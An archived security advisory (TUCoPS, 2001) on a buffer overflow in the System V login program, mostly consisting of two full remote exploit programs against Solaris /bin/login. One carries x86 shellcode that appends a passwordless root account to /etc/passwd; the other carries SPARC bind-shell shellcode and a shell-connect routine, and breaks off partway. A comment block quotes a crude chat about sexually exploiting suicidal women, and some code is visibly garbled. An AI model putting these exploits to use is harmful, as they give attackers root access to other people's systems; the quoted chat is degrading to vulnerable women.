Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Unix :: General :: unix4920.htm

login buffer overflow



13th Dec 2001 [SBWID-4920]
COMMAND

	login buffer overflow

SYSTEMS AFFECTED

	All unixes SYSTEM V based login process
	

	 such as :

	 SuSE 6.1

	 Slackware 8.0 and lower [tested with 8.0, 4.0, 3.3]

	 ...

	

	 Not vulnerable :

	 RedHat

	 Caldera

PROBLEM

	Multiple reports confirm the existence  of  a  buffer  overflow  in  the
	login process due to a bad parsing of environment  variables,  that  are
	set when calling login from telnet or rlogin.
	

	 Explanation by Roman Drahtmueller and \"pof\" :

	 =============================================

	

	The login programs in SuSE  6.0  and  6.1  gladly  pass  on  environment
	specified as
	 

	silence login: draht variable=value Password:
	 

	up to a maximum number of 32 variables. If the args to the user name  do
	not contain a \"=\"  character,  the  arguments  will  show  up  in  the
	environment  as  $L1,  $L2,  ...  where  arguments  are   seperated   by
	whitespace and \",\". An overflow does not happen, or  please  prove  me
	wrong.
	

	Check the diff below :
	

	

	   /*

	    * This is a disaster, at best.  The user may have entered extra

	    * environmental variables at the prompt.  There are several ways

	    * to do this, and I just take the easy way out.

	    */

	

	   if (*cp != \'\\0\') {      /* process new variables */

	      char *nvar;

	      int count = 1;

	

	      for (envc = 0; envc < MAX_ENV; envc++) {

	         nvar = strtok(envc ? (char *)0 : cp, \" \\t,\");

	         if (!nvar)

	            break;

	         if (strchr(nvar, \'=\')) {

	            envp[envc] = nvar;

	         } else {

	            envp[envc] = xmalloc(strlen(nvar) + 32);

	            sprintf(envp[envc], \"L%d=%s\", count++, nvar);

	         }

	      }

	      set_env(envc, envp);

	   }

	

	

	 Update

	 ======

	

	Solaris Exploit by mat [http://monkey.org/~mat/] :
	 

	/*

	 * 2001.11.26

	 * Solaris x86 2.8

	 * /bin/login remote exploit

	 * it works for telnet

	 * This code so many fixed addresses,so it may not work on other systems...

	 * Author: mat@monkey.org (JW. Oh)

	 * No warranty! Use at your own risk! And don\'t ask me anything!!!

	 * change exec_argv3 value to execute your own command

	 * and use ip address instead of hostname for argv[0]

	 * updated 2001.11.26.

	 *  added if you installed solaris x86 full package uncomment X86_FULL_PACKAGE

	end-user

	   0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA HAS_CONTENTS

	   0x080667b0->0x080689d4 at 0x000067b0: .bss ALLOC

	

	full users    

	    0x080654e0->0x080656b8 at 0x000054e0: .got ALLOC LOAD DATA HAS_CONTENTS

	    0x080667b8->0x080689dc at 0x000067b8: .bss ALLOC

	

	if your system is not exploited with this exploit, try dump sections with gdb...and compare the .got,.bss section values...

	*/

	

	//#define X86_FULL_PACKAGE

	

	#include <stdio.h>

	#include <sys/socket.h>

	#include <sys/types.h>

	#include <netinet/in.h>

	#include <unistd.h>

	#include <stdlib.h>

	

	void dump_hex(char *str,char *data,int len)

	{

		int i;

		if(str)

		{

			printf(\"\\n=======%s:%d========\\n\",str,len);

		}else{

			printf(\"\\n=======================\\n\");

		}

		for(i=0;i<len;i++)

		{

			printf(\"x%.2x\",(data[i]&0xff));

		}

		printf(\"\\n-----------------------\\n\");

		for(i=0;i<len;i++)

		{

			if(data[i]==0x00)

			{

				printf(\"|\");

			}else

			{

				printf(\"%c\",data[i]);

			}

		}

		printf(\"\\n\");

		fflush(stdout);

	}

	

	int send_data(int sock,const char *send_data,int send_len)

	{

		int wc;

		int rc;

		char recv_buf[1000];

	

		if(send_data && send_len>0)

		{

			wc=send(sock,send_data,send_len,0);

		}

		rc=recv(sock,recv_buf,sizeof(recv_buf),0);

		if(rc>0)

		{	

			dump_hex(\"recv\",recv_buf,rc);

		}

	}

	

	void main(int argc,char *argv[])

	{

		int sock;

		struct sockaddr_in address;

		int i;

	

		char send_data_1[]={

			0xff,0xfd,0x03,

			0xff,0xfb,0x18,

			0xff,0xfb,0x1f,

			0xff,0xfb,0x20,

			0xff,0xfb,0x21,

			0xff,0xfb,0x22,

			0xff,0xfb,0x27,

			0xff,0xfd,0x05,

			0xff,0xfb,0x23

		};

		char send_data_2[]={

			0xff,0xfa,0x1f,0x00,0x50,0x00,0x18,

			0xff,0xf0,

			0xff,0xfc,0x24

		};

		char send_data_3[]={

			0xff,0xfd,0x01,

			0xff,0xfc,0x01

		};

	

		char str_buffer[1024*30];

		int str_buffer_pos=0;

		char str_end[2]={0xd,0x0};

	

		char *env_str;

		int env_str_len;

		char env_1[4]={0xff,0xfa,0x18,0x00};

		char *terminal_name=\"xterm-debian\";

		char env_2[6]={0xff,0xf0,0xff,0xfa,0x23,0x00};

		char *display=\"matter:0.0\";

		char env_3[7]={0xff,0xf0,0xff,0xfa,0x27,0x00,0x00};

		char *display_var=\"DISPlAY\";

		char display_delimiter[1]={0x01};

		char *display_value=\"matter:0.0\";

		char *environ_str;

		int environ_str_len;

		int env_cur_pos=0;

		int env_num;

	

		char env_4[2]={0xff,0xf0};

		char exploit_buffer[]=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\\\\r\\n\";

		char login_buffer[]=

	\"ji1=A ji2=A ji3=A ji4=A ji5=A ji6=A ji7=A ji8=A ji9=Z ji10=z\\\\\\r\\n\\

	ji11=B ji12=A ji13=A ji14=b ji15=A ji16=A ji17=A ji18=A ji19=B ji20=b\\\\\\r\\n\\

	ji21=C ji22=A ji23=A ji24=c ji25=A ji26=A ji27=A ji28=A ji29=C ji30=c\\\\\\r\\n\\

	ji32=D ji32=A ji33=A ji34=d ji35=A ji36=A ji37=A ji38=A ji39=D ji40=d\\\\\\r\\n\\

	ji41=E ji42=A ji43=A ji44=e j\";

		char realfree_edx[]={0x83,0x83,0x83,0x83}; //0xdf9d6361 <realfree+81>:       test   $0x1,%dl를 넘기기 위해서

		char login_buffer1[]=\"=A j\";

	

	#ifdef X86_FULL_PACKAGE

		char t_delete_edi_plus_0x8[]={0x2f,0x80,0x06,0x08};

	#else

		char t_delete_edi_plus_0x8[]={0x27,0x80,0x06,0x08};

	#endif

		char t_delete_edi_plus_0xa[]=\"=A j\";

		char t_delete_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};

		char login_buffer1_0[]=\"=A ji48=A j \";

	#ifdef X86_FULL_PACKAGE

		char t_delete_edi_plus_0x20[]={0xf0,0x55,0x6,0x08};

	#else

		char t_delete_edi_plus_0x20[]={0xe8,0x55,0x6,0x08};

	#endif

		char login_buffer1_1[]=\"=\\\\\\r\\n\\

	ji51=F ji52=A ji53=A ji54=f ji55=A ji56=A j=iheol i58=\";

	#ifdef X86_FULL_PACKAGE

		char t_delete2_param1[]={0x29,0x80,0x06,0x08};

	#else

		char t_delete2_param1[]={0x21,0x80,0x06,0x08};

	#endif

		char login_buffer1_2[]=\" 6=8\";

		char link_pos[]={0x97,0xff,0xff,0xff,0xff,0xff,0xff};

		//첫번째 A -1 임

		char login_buffer2[]=\"A=AB\";

		//    0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA HAS_CONTENTS

		//0x80655a4 <_GLOBAL_OFFSET_TABLE_+208>:  0xdf9bd0b8 <strncpy>

		//(gdb) print/x 0x80655a4 - 0x20

		//$1 = 0x8065584

	#ifdef X86_FULL_PACKAGE

		char t_delete2_edi_plus_0x8[]={0x90,0x55,0x06,0x08}; //strncpy-0x20,ecx

	#else

		char t_delete2_edi_plus_0x8[]={0x84,0x55,0x06,0x08}; //strncpy-0x20,ecx

	#endif

		char login_buffer2_0[]=\"GHIJ\";

		char t_delete2_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};

		char login_buffer2_1[]=\"OPQRSTUVWXYZ\";

	

		//0x806810d <inputline+780>:       \'A\' <repeats 82 times>, \"\\n\"

	#ifdef X86_FULL_PACKAGE

		char t_delete2_edi_plus_0x20[]={0x06,0x81,0x06,0x08}; //shellcode,eax 

	#else

		char t_delete2_edi_plus_0x20[]={0xfe,0x80,0x06,0x08}; //shellcode,eax 

	#endif

		//0x8067e01 <inputline>:   \"heowahfoihewobhfoiewhiofhoewhofhoeiwhofwhofhiewwhfoiew

		char login_buffer2_2[]=\"efghijklmnopqrstuvwxyz0123456789A\\\\\\r\\n\\

	jk11=A jm21=C nj31=A jo41=A pi51=A jq61=A jr71=A js81=g jt91=A ju01=A jv11=A jw21=B jy\";//31=A z\";//4=A k2=A k3=A k\";

	#ifdef X86_FULL_PACKAGE

		//char strncpy_src[]={0xf9,0x3b,0x05,0x08};

		char strncpy_src[]={0x31,0x80,0x06,0x08};

	#else

		char strncpy_src[]={0xf1,0x3b,0x05,0x08};

	#endif

		char env_buffer[]=\"hi1=A hi2=A hi3=A hi\";

		char pam_input_output_eax[]={0x48,0x8a,0x06,0x08}; //0x8068a48

		char env_buffer0[]=\"hi5=A hi6=A hi7=A hi\";

	#ifdef X86_FULL_PACKAGE

		char free_dest_buffer[]={0x31,0x80,0x06,0x08};

	#else

		char free_dest_buffer[]={0x29,0x80,0x06,0x08};

	#endif

		char env_buffer2[]=\"zi9=\";

	#ifdef X86_FULL_PACKAGE

		char free_dest_buffer2[]={0x31,0x80,0x06,0x08};

	#else

		char free_dest_buffer2[]={0x29,0x80,0x06,0x08};

	#endif

	

		char exp_buffer0[]=\"hello\";

		char jmp_code[]={0xeb,0xc};

		char exp_buffer1[]=\"\\\\\\r\\nhhhhhhhhhhh\";

		char shellcode[]=

		{

		0xeb,0x1d,

		0x5e,           /*popl   %esi*/

		0x33,0xc0,       /*xorl   %eax,%eax*/

		0x50,           /*pushl  %eax - ,0x0*/

	#ifdef X86_FULL_PACKAGE

		0x68,0x46,0x81,0x06,0x08,

		0x68,0x43,0x81,0x06,0x08,

		0x68,0x40,0x81,0x06,0x08,

		0x68,0x38,0x81,0x06,0x08,

	#else

		0x68,0x3e,0x81,0x06,0x08,

		0x68,0x3b,0x81,0x06,0x08,

		0x68,0x38,0x81,0x06,0x08,

		0x68,0x30,0x81,0x06,0x08,

	#endif

	#ifdef X86_FULL_PACKAGE

		0xe8,0x25,0xa0,0xfe,0xff,0xff, /*call execve: 0xfffe9fee*/

	#else

		0xe8,0x2e,0xa0,0xfe,0xff,0xff, /*call execve: 0xfffe9fee*/

	#endif

		0xe8,0xde,0xff,0xff,0xff,0xff,0xff,0xff /*call again*/

		};

		char exec_argv0[]=\"/bin/sh\";

		char exec_argv1[]=\"sh\";

		char exec_argv2[]=\"-c\";

		char exec_argv3[]=\"/bin/echo met:x:0:1::/:/bin/sh>>/etc/passwd;\";

	//\"/bin/echo met::11652::::::>>/etc/shadow;\";

	//\"/bin/finger @210.111.69.137\";

	//211.59.123.155\";

		char extra_buffer[]=\"hihihiifhewiohfiowehfiohweiofhiowehfoihefe\\\\\\r\\n\";

	#ifdef X86_FULL_PACKAGE

		char free_dest_buffer3[]={0x31,0x80,0x06,0x08};

	#else

		char free_dest_buffer3[]={0x29,0x80,0x06,0x08};

	#endif

		char env_buffer5[]=\"70=b \\\\\\r\\n\\

	hr371=b hs372=\";

		char pam_input_output_eax2[]={0xf5,0x3b,0x05,0x08};

		char env_buffer5_0[]=\"473=\";

		char pam_get_authtok_eax[]={0xf6,0x3b,0x05,0x08}; //0x8053bfa 임시변통

		char pam_get_data_esi[]={0xa8,0xb1,0x06,0x08};//0x806b1a8

		display=\"\";

		terminal_name=\"\";

	

		env_str_len=

				sizeof(env_1)+

				strlen(terminal_name)+

				sizeof(env_2)+

				strlen(display)+

				sizeof(env_3)+

				strlen(display_var)+

				sizeof(display_delimiter)+

				strlen(display_value)+

				sizeof(env_4);

	

		env_str=(char *)calloc(1,env_str_len);

		if(env_str)

		{

			env_cur_pos=0;

			memcpy(env_str+env_cur_pos,env_1,sizeof(env_1));

			env_cur_pos+=sizeof(env_1);

			memcpy(env_str+env_cur_pos,terminal_name,strlen(terminal_name));

			env_cur_pos+=strlen(terminal_name);

			memcpy(env_str+env_cur_pos,env_2,sizeof(env_2));

			env_cur_pos+=sizeof(env_2);

			memcpy(env_str+env_cur_pos,display,strlen(display));

			env_cur_pos+=strlen(display);

			memcpy(env_str+env_cur_pos,env_3,sizeof(env_3));

			env_cur_pos+=sizeof(env_3);

			memcpy(env_str+env_cur_pos,display_var,strlen(display_var));

			env_cur_pos+=strlen(display_var);

			memcpy(env_str+env_cur_pos,display_delimiter,sizeof(display_delimiter));

			env_cur_pos+=sizeof(display_delimiter);

			memcpy(env_str+env_cur_pos,display_value,strlen(display_value));

			env_cur_pos+=strlen(display_value);

			memcpy(env_str+env_cur_pos,env_4,sizeof(env_4));

			env_cur_pos+=sizeof(env_4);

		}

	

		/*socket operation*/

		sock=socket(AF_INET,SOCK_STREAM,0);

		if(sock<0)

		{

			return;

		}

		address.sin_family=AF_INET;

		address.sin_port=htons(23);

		//inet_pton(AF_INET,argv[1],&address.sin_addr); //on some system no inet_pton exists

	        address.sin_addr.s_addr=inet_addr(argv[1]);

	

		if(connect(sock,(struct sockaddr *)&address,sizeof(address))<0)

		{

			return;

		}

		send_data(sock,NULL,0);

		send_data(sock,send_data_1,sizeof(send_data_1));

		send_data(sock,send_data_2,sizeof(send_data_2));

	

		//dump_hex(\"env\",env_str,env_cur_pos);

		send_data(sock,env_str,env_cur_pos);

		free(env_str);

	

		send_data(sock,send_data_3,sizeof(send_data_3));

	

		str_buffer_pos=0;

	

	

		memcpy(str_buffer+str_buffer_pos,exploit_buffer,strlen(exploit_buffer));

		str_buffer_pos+=strlen(exploit_buffer);

	

		strcpy(str_buffer+str_buffer_pos,login_buffer);

		str_buffer_pos+=strlen(login_buffer);

	

		memcpy(str_buffer+str_buffer_pos,realfree_edx,sizeof(realfree_edx));

		str_buffer_pos+=sizeof(realfree_edx);

	

		strcpy(str_buffer+str_buffer_pos,login_buffer1);

		str_buffer_pos+=strlen(login_buffer1);

		

		memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x8,sizeof(t_delete_edi_plus_0x8));

		str_buffer_pos+=sizeof(t_delete_edi_plus_0x8);

				

		memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0xa,strlen(t_delete_edi_plus_0xa));

		str_buffer_pos+=strlen(t_delete_edi_plus_0xa);

		memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x10,sizeof(t_delete_edi_plus_0x10));

		str_buffer_pos+=sizeof(t_delete_edi_plus_0x10);

	

	

		strcpy(str_buffer+str_buffer_pos,login_buffer1_0);

		str_buffer_pos+=strlen(login_buffer1_0);

		

		memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x20,sizeof(t_delete_edi_plus_0x20));

		str_buffer_pos+=sizeof(t_delete_edi_plus_0x20);

	

		strcpy(str_buffer+str_buffer_pos,login_buffer1_1);

		str_buffer_pos+=strlen(login_buffer1_1);

		memcpy(str_buffer+str_buffer_pos,t_delete2_param1,sizeof(t_delete2_param1));

		str_buffer_pos+=sizeof(t_delete2_param1);

		strcpy(str_buffer+str_buffer_pos,login_buffer1_2);

		str_buffer_pos+=strlen(login_buffer1_2);

	

		memcpy(str_buffer+str_buffer_pos,link_pos,sizeof(link_pos));

		str_buffer_pos+=sizeof(link_pos);

	

		strcpy(str_buffer+str_buffer_pos,login_buffer2);

		str_buffer_pos+=strlen(login_buffer2);

	

		memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x8,sizeof(t_delete2_edi_plus_0x8));

		str_buffer_pos+=sizeof(t_delete2_edi_plus_0x8);

	

		strcpy(str_buffer+str_buffer_pos,login_buffer2_0);

		str_buffer_pos+=strlen(login_buffer2_0);

	

		memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x10,sizeof(t_delete2_edi_plus_0x10));

		str_buffer_pos+=sizeof(t_delete2_edi_plus_0x10);

	

		strcpy(str_buffer+str_buffer_pos,login_buffer2_1);

		str_buffer_pos+=strlen(login_buffer2_1);

	

		memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x20,sizeof(t_delete2_edi_plus_0x20));

		str_buffer_pos+=sizeof(t_delete2_edi_plus_0x20);

	

		strcpy(str_buffer+str_buffer_pos,login_buffer2_2);

		str_buffer_pos+=strlen(login_buffer2_2);

	

		memcpy(str_buffer+str_buffer_pos,strncpy_src,sizeof(strncpy_src));

		str_buffer_pos+=sizeof(strncpy_src);

	

		memcpy(str_buffer+str_buffer_pos,env_buffer,strlen(env_buffer));

		str_buffer_pos+=strlen(env_buffer);

	

		memcpy(str_buffer+str_buffer_pos,pam_input_output_eax,sizeof(pam_input_output_eax));

		str_buffer_pos+=sizeof(pam_input_output_eax);

	

		memcpy(str_buffer+str_buffer_pos,env_buffer,strlen(env_buffer0));

		str_buffer_pos+=strlen(env_buffer0);

	

		memcpy(str_buffer+str_buffer_pos,free_dest_buffer,sizeof(free_dest_buffer));

		str_buffer_pos+=sizeof(free_dest_buffer);

	

	

		memcpy(str_buffer+str_buffer_pos,env_buffer2,strlen(env_buffer2));

		str_buffer_pos+=strlen(env_buffer2);

	

		memcpy(str_buffer+str_buffer_pos,free_dest_buffer2,sizeof(free_dest_buffer2));

		str_buffer_pos+=sizeof(free_dest_buffer2);

	

	

		strcpy(str_buffer+str_buffer_pos,exp_buffer0);

		str_buffer_pos+=strlen(exp_buffer0);

		memcpy(str_buffer+str_buffer_pos,jmp_code,sizeof(jmp_code));

		str_buffer_pos+=sizeof(jmp_code);

		strcpy(str_buffer+str_buffer_pos,exp_buffer1);

		str_buffer_pos+=strlen(exp_buffer1);

		memcpy(str_buffer+str_buffer_pos,shellcode,sizeof(shellcode));

		str_buffer_pos+=sizeof(shellcode);

		strcpy(str_buffer+str_buffer_pos,exec_argv0);

		str_buffer_pos+=strlen(exec_argv0)+1;

		strcpy(str_buffer+str_buffer_pos,exec_argv1);

		str_buffer_pos+=strlen(exec_argv1)+1;

		strcpy(str_buffer+str_buffer_pos,exec_argv2);

		str_buffer_pos+=strlen(exec_argv2)+1;

		strcpy(str_buffer+str_buffer_pos,exec_argv3);

		str_buffer_pos+=strlen(exec_argv3)+1;

	

		memcpy(str_buffer+str_buffer_pos,str_end,strlen(str_end));

		str_buffer_pos+=strlen(str_end);

	

		{

			char buf[100];

			fgets(buf,100,stdin);

		}

		printf(\"sending login!\\n\");

		fflush(stdout);

		send_data(sock,str_buffer,str_buffer_pos);

		send_data(sock,NULL,0);

		printf(\"\\n\\n\\npress return to send password\\n...\");

	

		{

			char buf[100];

			fgets(buf,100,stdin);

		}

	

		send_data(sock,str_buffer,strlen(str_buffer)+1);

		printf(\"\\n\\n\\nwaiting for the realfree & t_delete to be called!\\n...\\n\\n\");

		fflush(stdout);

		sleep(30);

	}

	

	

	 Update (19 March 2002)

	 ======

	

	Solaris exploit :
	 

	/*

	Solaris /bin/login array mismangement exploit by morgan@sexter.com

	

	compile: 

		use -DSOLARIS if your running it on a big endian system....

	

	friendly advice to find that special someone:

	[ronin(ronin@segfault.net)] think if i make \'the lonely hearts club\' at

	college...

	[ronin(ronin@segfault.net)] it\'ll have a psych. effect on chicks?

	[msg(ronin)] you\'d get all the suicidal chicks

	[ronin(ronin@segfault.net)] they have like clubs and shit... chess

	clubs, sport, rollerblading, etc.

	[ronin(ronin@segfault.net)] u can make ur own

	[msg(ronin)] yah.. most schools do

	[ronin(ronin@segfault.net)] they should be the best in bed

	[ronin(ronin@segfault.net)] cuz of how vulnerable they are to suggestion

	[ronin(ronin@segfault.net)] and all that angst

	[msg(ronin)] always thinking

	[ronin(ronin@segfault.net)] can be harnessed for sexual gratification

	[msg(ronin)] your a quite a sexual trickster 

	[ronin(ronin@segfault.net)] plus

	[ronin(ronin@segfault.net)] suicidal pain

	[ronin(ronin@segfault.net)] pain bdsm

	[ronin(ronin@segfault.net)] happy go lucky chicks are too content in bed

	[msg(ronin)] /me wanders off slowly

	[ronin(ronin@segfault.net)] but suicidal chicks like to cover the full

	spectrum of pain

	[ronin(ronin@segfault.net)] and pain and pleasure are one

	

	greets:

	matthew, pioneering the pinkhat movement... ryan&drago, reading telnet

	rfcs for me..

	ron1n, OMG! You\'re in school now!@#$! The metaray, level 6 on everquest

	now!

	blueboar, for his exquisite mailing list..

	antisec for being so darn hackerifically ethical... keep up the faith

	and arcanum the aim sexual predator...

	*/

	

	#include <stdio.h>

	#include <unistd.h>

	#include <sys/socket.h>

	#include <sys/types.h>

	#include <string.h>

	#include <errno.h>

	#include <netinet/in.h>

	#include <netdb.h>

	#include <arpa/inet.h>

	#include <arpa/telnet.h>

	

	#define NOPS 8

	

	struct {

	    char *name;

	    unsigned long reta;

	    unsigned long retl;

	}targets[] {

	{ \"SunOS 5.7... local\", 0xffbef85c, 0x20026fc8},

	{ \"SunOS 5.7... remote\", 0xffbef8bc, 0x20026fc8},

	{ \"SunOS 5,7... remote 2\", 0xffbef824, 0x20026fc8},

	

	 { NULL, 0, 0 }

	};

	

	unsigned char   shellcode[]   /* dopesquad.net shellcode + 8 nop

	bytes */

	                \"\\x10\\x80\\x00\\x03\"      /* b            foolabel */

	                \"\\x90\\x1b\\x80\\x0e\"      /* xor          %sp, %sp, %o0 */

	/* OVERWRITE */ \"\\x82\\x10\\x20\\x17\"      /* mov          23, %g1 */

	

	

	

	  \"\\xa0\\x23\\xa0\\x10\"    /* sub          %sp, 16, %l0 */

	  \"\\xae\\x23\\x80\\x10\"    /* sub          %sp, %l0, %l7 */

	  \"\\xee\\x23\\xbf\\xec\"    /* st           %l7, [%sp - 20] */

	  \"\\x82\\x05\\xe0\\xd6\"    /* add          %l7, 214, %g1 */

	  \"\\x90\\x25\\xe0\\x0e\"    /* sub          %l7, 14, %o0 */

	  \"\\x92\\x25\\xe0\\x0e\"    /* sub          %l7, 14, %o1 */

	  \"\\x94\\x1c\\x40\\x11\"    /* xor          %l1, %l1, %o2 */

	  \"\\x96\\x1c\\x40\\x11\"    /* xor          %l1, %l1, %o3 */

	  \"\\x98\\x25\\xe0\\x0f\"    /* sub          %l7, 15, %o4 */

	  \"\\x91\\xd0\\x38\\x08\"    /* ta           0x8 */

	  \"\\xa4\\x1a\\x80\\x08\"    /* xor          %o2, %o0, %l2 */

	  \"\\xd2\\x33\\xbf\\xf0\"    /* sth          %o1, [%sp - 16] */

	  \"\\xac\\x10\\x27\\xd1\"    /* mov          2001, %l6 */

	  \"\\xec\\x33\\xbf\\xf2\"    /* sth          %l6, [%sp - 14] */

	  \"\\xc0\\x23\\xbf\\xf4\"    /* st           %g0, [%sp - 12] */

	  \"\\x82\\x05\\xe0\\xd8\"    /* add          %l7, 216, %g1 */

	  \"\\x90\\x1a\\xc0\\x12\"    /* xor          %o3, %l2, %o0 */

	  \"\\x92\\x1a\\xc0\\x10\"    /* xor          %o3, %l0, %o1 */

	  \"\\x94\\x1a\\xc0\\x17\"    /* xor          %o3, %l7, %o2 */

	  \"\\x91\\xd0\\x38\\x08\"    /* ta           0x8 */

	  \"\\x82\\x05\\xe0\\xd9\"    /* add          %l7, 217, %g1 */

	  \"\\x90\\x1a\\xc0\\x12\"    /* xor          %o3, %l2, %o0 */

	  \"\\x92\\x25\\xe0\\x0b\"    /* sub          %l7, 11, %o1 */

	  \"\\x91\\xd0\\x38\\x08\"    /* ta           0x8 */

	  \"\\x82\\x05\\xe0\\xda\"    /* add          %l7, 218, %g1 */

	  \"\\x90\\x1a\\xc0\\x12\"    /* xor          %o3, %l2, %o0 */

	  \"\\x92\\x1a\\xc0\\x10\"    /* xor          %o3, %l0, %o1 */

	  \"\\x94\\x23\\xa0\\x14\"    /* sub          %sp, 20, %o2 */

	  \"\\x91\\xd0\\x38\\x08\"    /* ta           0x8 */

	  \"\\xa6\\x1a\\xc0\\x08\"    /* xor          %o3, %o0, %l3 */

	  \"\\x82\\x05\\xe0\\x2e\"    /* add          %l7, 46, %g1 */

	  \"\\x90\\x1a\\xc0\\x13\"    /* xor          %o3, %l3, %o0 */

	  \"\\x92\\x25\\xe0\\x07\"    /* sub          %l7, 7, %o1 */

	  \"\\x94\\x1b\\x80\\x0e\"    /* xor          %sp, %sp, %o2 */

	  \"\\x91\\xd0\\x38\\x08\"    /* ta           0x8 */

	  \"\\x90\\x1a\\xc0\\x13\"    /* xor          %o3, %l3, %o0 */

	  \"\\x92\\x25\\xe0\\x07\"    /* sub          %l7, 7, %o1 */

	  \"\\x94\\x02\\xe0\\x01\"    /* add          %o3, 1, %o2 */

	  \"\\x91\\xd0\\x38\\x08\"    /* ta           0x8 */

	  \"\\x90\\x1a\\xc0\\x13\"    /* xor          %o3, %l3, %o0 */

	  \"\\x92\\x25\\xe0\\x07\"    /* sub          %l7, 7, %o1 */

	  \"\\x94\\x02\\xe0\\x02\"    /* add          %o3, 2, %o2 */

	  \"\\x91\\xd0\\x38\\x08\"    /* ta           0x8 */

	  \"\\x90\\x1b\\x80\\x0e\"    /* xor          %sp, %sp, %o0 */

	  \"\\x82\\x02\\xe0\\x17\"    /* add          %o3, 23, %g1 */

	  \"\\x91\\xd0\\x38\\x08\"    /* ta           0x8 */

	  \"\\x21\\x0b\\xd8\\x9a\"    /* sethi        %hi(0x2f626800), %l0 */

	  \"\\xa0\\x14\\x21\\x6e\"    /* or           %l0, 0x16e, %l0 ! 0x2f62696e */

	  \"\\x23\\x0b\\xdc\\xda\"    /* sethi        %hi(0x2f736800), %l1 */

	  \"\\x90\\x23\\xa0\\x10\"    /* sub          %sp, 16, %o0 */

	  \"\\x92\\x23\\xa0\\x08\"    /* sub          %sp, 8, %o1 */

	  \"\\x94\\x1b\\x80\\x0e\"    /* xor          %sp, %sp, %o2 */

	  \"\\xe0\\x3b\\xbf\\xf0\"    /* std          %l0, [%sp - 16] */

	  \"\\xd0\\x23\\xbf\\xf8\"    /* st           %o0, [%sp - 8] */

	  \"\\xc0\\x23\\xbf\\xfc\"    /* st           %g0, [%sp - 4] */

	  \"\\x82\\x02\\xe0\\x3b\"    /* add          %o3, 59, %g1 */

	  \"\\x91\\xd0\\x38\\x08\"    /* ta           0x8 */

	  \"\\x90\\x1b\\x80\\x0e\"    /* xor          %sp, %sp, %o0 */

	  \"\\x82\\x02\\xe0\\x01\"    /* add          %o3, 1, %g1 */

	  \"\\x91\\xd0\\x38\\x08\"    /* ta           0x8 */

	;

	

	

	static char nop[]=\"\\x80\\x1c\\x40\\x11\";

	

	void usage(char **argv) {

	        int i;

	

	        fprintf(stderr, \"Solaris /bin/login array mismangement exploit

	by morgan@sexter.com\\n\");

	        fprintf(stderr, \"usage: %s <host>\\n\", argv[0]);

	        fprintf(stderr, \"\\t-r <return address>\\n\");

	        fprintf(stderr, \"\\t-l <return location>\\n\");

	        fprintf(stderr, \"\\t-p <port>\\n\");

	        fprintf(stderr, \"\\t-t <target number>\\n\");

	        fprintf(stderr, \"\\t-e  [for local /bin/login execution mode

	check for +s]\\n\");

	        fprintf(stderr, \"\\t%s -e <options> | /bin/login\\n\", argv[0]);

		fprintf(stderr, \"\\t-b brute force mode\\n\\n\");

	        fprintf(stderr, \"targets are...\\n\");

	        for(i=0; targets[i].name; i++) 

	                fprintf(stderr, \"\\t%d) %s\\n\", i, targets[i].name);

	

	        fprintf(stderr, \"\\n\");

	        exit(0);

	

	}

	void die(char *error) {  

	        fprintf(stderr, \"Error: %s\\n\", error);

	        fprintf(stderr, \"Program aborting..\\n\");

	        exit(0);

	        

	}

	        

	void shift(unsigned long *addr) {

	        unsigned long tmp;

	        tmp *addr >> 24;

	        tmp += *addr << 8 >> 24 << 8;

	        tmp += *addr << 16 >> 24 << 16;

	        tmp += *addr << 24;

	        *addr tmp;

	        return;

	}       

	

	int write_with_iac(int fd, char *buff, int s)

	{

	        int i;

	        unsigned char c=0, pt;

	        for (i=0; i<s; i++) {

	                c=(unsigned char)buff[i];

	                if (c=0xff) if(write(fd, &c, 1) < 0)

	     die(\"Write failed sending IAC\");

	                if(write(fd, &c, 1)<0)

	     die(\"Write failed sending user string\");

	        }

	}

	

	void send_ww(int fd, unsigned char arg, int a) {

	        char buf[3];

	        char *p=buf;

	

	        *p++ IAC;

	        if(a= WILL)

	                *p++ WILL;

	        else if(a= WONT)

	                *p++ WONT;

	        else {

	                fprintf(stderr, \"illegal send, %d is not a valid send

	type\\n\", a);

	                exit(0);

	        }

	        *p arg;

	

	        write(fd, buf, 3);

	

	        return;

	}

	

	

	int connect_shell(char *host, int port)

	{

	        struct sockaddr_in s;

	        int sock;

	        struct hostent *h;

	        unsigned char c;

	        char commands[] \"cd /; echo; uname -a; id ;echo; \"

	        \"echo Mommy wow.. im a hacker now; echo ;\\n\\n\";

	        char buf[2048];

	        fd_set fds;

	        int r;

	

	        s.sin_family            AF_INET;

	        s.sin_port              htons(port);

	        s.sin_addr.s_addr       inet_addr(host);

	

	        if ((h=gethostbyname(host))= NULL)

	        {

	                fprintf(stderr, \"cannot resolve: %s : %s\\n\", host,

	strerror(errno));

	                return -1;

	        }

	        memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr,

	sizeof(h->h_addr));

	        

	        if ( (sock socket (AF_INET, SOCK_STREAM, 0))= -1)

	                return sock;

	        

	        if (connect (sock, (struct sockaddr *)&s, sizeof(s))= -1)

	        {

	                close (sock);

	                return -1;

	        }

	

	        write(sock, commands, strlen(commands));

	

	        for(;;)

	        {   

	                FD_ZERO(&fds);

	                FD_SET(fileno(stdin), &fds);

	                FD_SET(sock, &fds);

	                select(255, &fds, NULL, NULL, NULL);

	

	                if(FD_ISSET(sock, &fds))

	                {   

	                        memset(buf, 0x0, sizeof(buf));

	                        r read (sock, buf, sizeof(buf) - 1);

	                        if(r <= 0)

	                        {   

